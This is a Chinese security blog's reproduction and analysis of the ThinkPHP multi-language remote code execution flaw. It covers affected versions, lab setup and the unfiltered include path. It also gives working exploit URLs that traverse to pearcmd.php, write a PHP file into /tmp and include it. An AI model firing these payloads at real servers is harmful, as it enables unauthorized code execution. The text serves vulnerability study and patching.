ThinkPHP多语言rce复现分析

admin 2023年1月7日13:05:35评论144 views字数 2319阅读7分43秒阅读模式

ThinkPHP多语言rce复现分析

前言

前段时间爆出的ThinkPHP多语言rce很有意思,最近刚好有时间就学习一下。


一、漏洞信息

利用条件:

1.安装并已知pearcmd.php的文件位置。(默认位置 /usr/local/lib/php/pearcmd.php,Docker版本的镜像中pear默认安装)

2.需要开启php.ini中register_argc_argv选项。(docker的PHP镜像是默认开启的)

3.thinkphp开启多语言功能

影响范围

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8


二、环境搭建

下载源码:https://github.com/top-think/think

以v6.0.12为例下载解压

修改composer.json中“require”部分

"require": {        "php": ">=7.2.5",        "topthink/framework": "6.0.12",        "topthink/think-orm": "^2.0"},
执行命令:composer install 安装完成
打开多语言功能:app/middleware.php。中取消注释
  •  thinkmiddlewareLoadLangPack::class,


安装pear:

1、下载  go-pear.phar   http://pear.php.net/go-pear.phar

2、执行 php go-pear.phar 设置1-12选项路径,安装。

或使用docker

docker run --name tp123 -p 8005:80 -d vulfocus/thinkphp:6.0.12


三、漏洞分析

首先看LoadLangPack这个类,handle()函数 中先调用detect()方法在请求中检查是否有参数设置语言

ThinkPHP多语言rce复现分析

多个判断中检查了get、header、cookie等位置,config['allow_lang_list']默认为空情况下,$langSet赋给$range并返回

ThinkPHP多语言rce复现分析

又回到handle()中$this->lang->switchLangSet($langset); 执行

参数传入该函数内,拼接:thinkphp路径/lang/ + 用户参数$langset + .php。后传进load()函数

ThinkPHP多语言rce复现分析

跟进load函数,发现参数传进load函数中,在167行又被传到parse函数内

ThinkPHP多语言rce复现分析

而parse函数直接用include对$file进行包含,也是漏洞触发点。

从上边流程看出从获取参数到传入parse() 内都未对内容进行过滤。


四、漏洞复现

测试环境:macos 、php7.3、apache2.4

ThinkPHP多语言rce复现分析

1.首先测试是否存在pearcmd,当返回如下图信息就代表pearcmd存在

http://127.0.0.1/?lang=../../../../../../../../usr/local/lib/php/pearcmd

ThinkPHP多语言rce复现分析

路径要修改指向你当前环境中 pearcmd.php 的位置。

如图,我当前环境pearcmd安装路径为

“/usr/local/pear/share/pear/pearcmd.php”。

2.先来了解如何利用pear

当开启register_argc_argv时,提交的参数都会传入 $_SERVER[‘argv’]变量内

ThinkPHP多语言rce复现分析

可见&是无法分割参数的,会被当作一个整体。等号无法赋值,会被直接传进参数

当使用+号分割,将会作为数组,而pear执行是通过 readPHPArgv()来获取argv内容。

ThinkPHP多语言rce复现分析

对应如下命令:

pear config-create /xxxxxxx1 /tmp/test.php

config-create命令用法,第一个参数为要写入内容,第二参数为要写入路径

ThinkPHP多语言rce复现分析

3.使用poc测试,在/tmp 目录下写入admin.php文件。

/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+/tmp/admin.php

注:测试时发现通过get方式提交时  尖括号会被浏览器url编码为 %3C?=phpinfo();?%3E ,并将编码后内容%3c,%3e写入文件,在解析php文件时找不到有效 <?php 标记 ,文件将无法解析。

ThinkPHP多语言rce复现分析

用burp修改,正确写入后的响应如下:

ThinkPHP多语言rce复现分析

此时文件已正确写入/tmp目录下,说明

“ /&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/ ”部分被正常解析为get请求。

当成功包含pearcmd文件时,才能利用pear写入文件

ThinkPHP多语言rce复现分析

也可正常方式写:

http://url/?lang=../../../../../../../../../../usr/local/pear/share/pear/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php

ThinkPHP多语言rce复现分析

4.利用文件包含,解析文件

/index.php?lang=../../../../../../../../tmp/admin

再次利用文件包含去访问我们写入的文件。

ThinkPHP多语言rce复现分析

成功解析文件。

当然不止config-create,还可以用Install命令下载


往期回顾

01

ueditor漏洞利用&源码分析详细版

02

frida inlinehook 巧解Android逆向题



03


无回显的任意文件上传


ThinkPHP多语言rce复现分析

雷石安全实验室

商务咨询:

0571-87031601

商务邮箱:

[email protected]



原文始发于微信公众号(雷石安全实验室):ThinkPHP多语言rce复现分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日13:05:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP多语言rce复现分析http://cn-sec.com/archives/1503983.html

发表评论

匿名网友 填写信息